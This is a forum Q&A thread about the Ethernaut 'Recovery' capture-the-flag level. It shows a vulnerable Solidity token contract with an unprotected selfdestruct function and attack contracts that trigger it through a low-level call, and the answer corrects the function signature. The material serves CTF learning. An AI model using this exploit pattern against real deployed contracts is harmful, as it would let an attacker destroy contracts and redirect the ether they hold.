0

I am doing ethernaut Recovery CTF. For that I have to call the '''destroy''' function in another contract. I am doing it will the help of '''call''' in solidity. But the transaction is getting reverted.

Contract to be attacked

contract SimpleToken {

  using SafeMath for uint256;
  // public variables
  string public name;
  mapping (address => uint) public balances;

  // constructor
  constructor(string memory _name, address _creator, uint256 _initialSupply) public {
    name = _name;
    balances[_creator] = _initialSupply;
  }

  // collect ether in return for tokens
  receive() external payable {
    balances[msg.sender] = msg.value.mul(10);
  }

  // allow transfers of tokens
  function transfer(address _to, uint _amount) public { 
    require(balances[msg.sender] >= _amount);
    balances[msg.sender] = balances[msg.sender].sub(_amount);
    balances[_to] = _amount;
  }

  // clean up after ourselves
  function destroy(address payable _to) public {
    selfdestruct(_to);
  }
}

Attack Contract

//SPDX-License-Identifier:MIT
pragma solidity ^0.8.0;

contract recovery_solution{
    address victim = 0x0EB8e4771ABA41B70d0cb6770e04086E5aee5aB2;

    function destroy1(address _to) public{
        (bool success, ) = victim.call(abi.encodeWithSignature("destroy(address payable)", _to));
        require(success, "Transaction failed");
    }
}

Can someone please tell what's wrong with my attack code?

1 Answer 1

0

try taking payable out of the function signature

I have done it but still it's not working

that's strange it didn't work for you taking payable out. I was able to get it to work that way. Deployed to mumbai and tested ok. If you're still having problems, you could use an interface instead, but it should work

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract RecoverySimpleToken {
  event POL(string message);

  // clean up after ourselves
  function destroyPayable(address payable to) public {
    selfdestruct(to);
  }

  function pol() external returns (string memory) {
    string memory message = "still here";
    emit POL(message);
    return message;
  }
}


contract Attack {

    address public victim;

    function setAddr(address payable _addr) external {
      victim = _addr;
    }

    function attack(address _to) public{
        (bool success, ) = victim.call(abi.encodeWithSignature("destroyPayable(address)", _to));
        require(success, "Transaction failed");
    }

}
3
  • I have done it but still it's not working Commented Sep 14, 2022 at 8:08
  • that's strange. I was able to get it to work on mumbai testnet. have added code to the answer. If still having problems, you could use an interface instead, but it should work
    – sola24
    Commented Sep 14, 2022 at 20:59
  • No it's working now Commented Nov 18, 2022 at 14:21

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Not the answer you're looking for? Browse other questions tagged or ask your own question.